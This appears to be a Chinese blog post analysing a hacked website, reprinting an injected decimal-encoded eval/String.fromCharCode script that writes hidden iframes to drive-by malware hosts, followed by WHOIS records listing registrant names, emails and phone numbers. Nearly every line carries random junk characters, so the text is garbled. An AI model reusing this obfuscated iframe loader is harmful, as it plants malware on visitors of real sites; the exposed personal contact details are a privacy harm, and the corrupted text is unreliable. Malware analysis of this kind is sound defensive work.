首发在我的博客里面，
TpH-_ft !!\x]$v http://www.areway.cn/?p=175 8{f~tPY Gm.sl}, h RFm]q 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
b;5&V_ h6(\ tRd!\ <script>t=’60,105,102,114,97,109,101,
(rE.ft5$9 32,115,114,99,61,104,116,116,112,58,47,47,
n90DS/Yx 102,114,101,101,46,117,45,117,117,117,46,99,
xe&w.aBI> 110,47,101,114,114,111,114,46,104,116,109,
us7t>EMmB 32,119,105,100,116,104,61,49,48,48,32,104,
IyPk3N 101,105,103,104,116,61,48,62,60,47,105,102,
NRI @M 5 114,97,109,101,62′;
49Q
tfk t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
q(9S4F +td]g9Ie <script>t=’60,105,102,114,97,109,101,32,115,
%ZR<z$ 114,99,61,104,116,116,112,58,47,47,102,114,
Zn{Y+ce7d 101,101,46,117,45,117,117,117,46,99,110,47,
np6R\Q!& 101,114,114,111,114,46,104,116,109,32,119,
#W lTE& 105,100,116,104,61,49,48,48,32,104,101,105,
U ID0|+%Y 103,104,116,61,48,62,60,47,105,102,114,97,
gtwUY$ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
{y%cTuC= document.write(t);</script>
@d1YN]ede ^B!c L~S*I <html xmlns=”
]5',`~jkF http://www.w3.org/1999/xhtml 8fSY@ “>
=MjkD)l <head>
N!~5S` <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
W' Y?X]xr <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
}Sr=|j <title>首页 - 爱生活家庭网
) -^(Su(! @j`gx M_-O 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
?e#bq] 转换字符串后的大概内容是（谁点击后果自付）：
xiy=D5N.= <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
*w`_(X f s|[CvjL#0 查询玉米u-uuu.cn的详细信息：
tu:W1? Domain Name: u-uuu.cn
_PPn
=kuMa ROID: 20070901s10001s64972306-cn
BA6(Owb Domain Status: ok
:%4N4|
Q Registrant Organization: 王雷
wec_=E qK0 Registrant Name: 王雷
r X}FhBl5 Administrative Email:
czlovexs@126.com vs%d}]v Sponsoring Registrar: 北京万网志成科技有限公司
_O3X;U7rc Name Server:ns.yovole.com
{X EX0|TZ Name Server:ns1.yovole.com
Q.MbzSgXL Registration Date: 2007-09-01 17:54
\&MJ(F>vJ Expiration Date: 2008-09-01 17:54
{%+UQ!]d8 最后PING了一下地址 都没有什么….
3%(,f, ]R*h3U@5#K 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
X#<+D1P <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
!!+LFe4su <script language=”javascript” src=”
; wa#m1 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script VD~
%6AjyN >
AaLbJYuKd 这个玉米应该有可能是木马作者的：
rcAPp foafau.info的详细信息：
;Xl {m`E+ Access to INFO WHOIS information is provided to assist persons in
FI" KJk' determining the contents of a domain name registration record in the
>K!$@ ]2F Afilias registry database. The data in this record is provided by
T$"sw7< Afilias Limited for informational purposes only, and Afilias does not
d<cqY<y VA guarantee its accuracy. This service is intended only for query-based
W
P9PX access. You agree that you will use this data only for lawful purposes
hYbaVE and that, under no circumstances will you use this data to: (a) allow,
3jx /1VV enable, or otherwise support the transmission by e-mail, telephone, or
Tvl"KVGm facsimile of mass unsolicited, commercial advertising or solicitations
7DPxz'7): to entities other than the data recipient’s own existing customers; or
"SA* (b) enable high volume, automated, electronic processes that send
pCC3r t( queries or data to the systems of Registry Operator, a Registrar, or
a dWH';Q: Afilias except as reasonably necessary to register domain names or
A=+1PgL66 modify existing registrations. All rights reserved. Afilias reserves
#+ Y%Bxf the right to modify these terms at any time. By submitting this query,
Jbn^G7vH<6 you agree to abide by this policy.
`d}t?qWS;F Domain ID:D22418703-LRMS
#H] c/ Domain Name:FOAFAU.INFO
8/<+p? 3p> Created On:20-Nov-2007 16:05:42 UTC
va2FgW`Bd+ Last Updated On:20-Nov-2007 16:05:44 UTC
,*.qa0E#W Expiration Date:20-Nov-2008 16:05:42 UTC
J -z <&9 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
6>gm!6` Status:CLIENT DELETE PROHIBITED
3Dx@rW\ Status:CLIENT RENEW PROHIBITED
(
TJGJY Status:CLIENT TRANSFER PROHIBITED
9Cs/B*3 )b Status:CLIENT UPDATE PROHIBITED
g=$nNQ
\6= Status:TRANSFER PROHIBITED
1 T}jK^" Registrant ID:GODA-040110615
NpH9}, 1i Registrant Name:liu hong
W1JvLU5L*r Registrant Organization:
_`lPLBr6 Registrant Street1:beijing
*Rm D%[f Registrant Street2:
X#o<)) Registrant Street3:
/5X_gjOL, Registrant City:beijing
AO,^v+ $ Registrant State/Province:
v ty:@?3\ Registrant Postal Code:100000
.cz7jD
Registrant Country:CN
wUfm)Q# Registrant Phone:+86.860108888777
eExI3"| Q Registrant Phone Ext.:
x^Zm:Jrw~ Registrant FAX:
48_( 'z*> Registrant FAX Ext.:
kkIG{Bw Registrant Email:bbbshiji@163.com
x~ID[ Admin ID:GODA-240110615
AquO#A[, # Admin Name:liu hong
<m,bP
c :R Admin Organization:
8~sC$sIlE Admin Street1:beijing
p_i',5H( Admin Street2:
(6i4N2 Admin Street3:
.I]EP- Admin City:beijing
hh[x(O)TC~ Admin State/Province:
`{NbMc\
] Admin Postal Code:100000
]:}7-;$V Admin Country:CN
iD<}r?Z Admin Phone:+86.860108888777
!ScEA= Admin Phone Ext.:
p }e| E! Admin FAX:
1'H!S%f S Admin FAX Ext.:
X/ Ii}X/p Admin Email:bbbshiji@163.com
qIxe)+. Billing ID:GODA-340110615
.O SQ8W } Billing Name:liu hong
IP^1c a#< Billing Organization:
5cb8=W - Billing Street1:beijing
b3ys"Vyn Billing Street2:
nG$+9}\UlP Billing Street3:
,/"0tP&_; Billing City:beijing
<Ira~N Billing State/Province:
Z&n#*rQ7[ Billing Postal Code:100000
|Y v,zEY) Billing Country:CN
3 bT?4 Billing Phone:+86.860108888777
V`rxjv}! Billing Phone Ext.:
[ OS& eK 8 Billing FAX:
T%A"E,# Billing FAX Ext.:
S0 ReT*I Billing Email:bbbshiji@163.com
OVE?;x>n/1 Tech ID:GODA-140110615
|x T'+~u Tech Name:liu hong
hcz!f Tech Organization:
`O!yt Tech Street1:beijing
S263 h(H Tech Street2:
Gr'|n R8 Tech Street3:
PbfgWGr Tech City:beijing
U?ZWDr"*`w Tech State/Province:
kG5Uc8 3#G Tech Postal Code:100000
"-\8Y>E Tech Country:CN
CSH*^nk':O Tech Phone:+86.860108888777
!b$]D?=} Tech Phone Ext.:
I|Mw*2U Tech FAX:
-;Te+E_ Tech FAX Ext.:
)x35
Tech Email:bbbshiji@163.com
ZH`(n5 Name Server:NS27.DOMAINCONTROL.COM
^O}J',Fm%f Name Server:NS28.DOMAINCONTROL.COM
qC3PKlhv6 Name Server:
u4'B Name Server:
eIOMW9Ivt Name Server:
xZ(d*/6E Name Server:
53?Ati\ Y) Name Server:
mC3:P5/c Name Server:
z /nW; ow Name Server:
gGx<k3W^ Name Server:
`XM0Mm% Name Server:
cYBjsN(!A| Name Server:
:(4q\~ Name Server:
!r9rTS] S4r m K& 接着下载每个文件里面的代码：
DQ&\k'"\ 一步一步看..
Oc-ia)v1G 
T-]UAN"O 
)P,pW?h$ 
cM\BEh h 
mex@~VK 
P.jy7:dB, 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
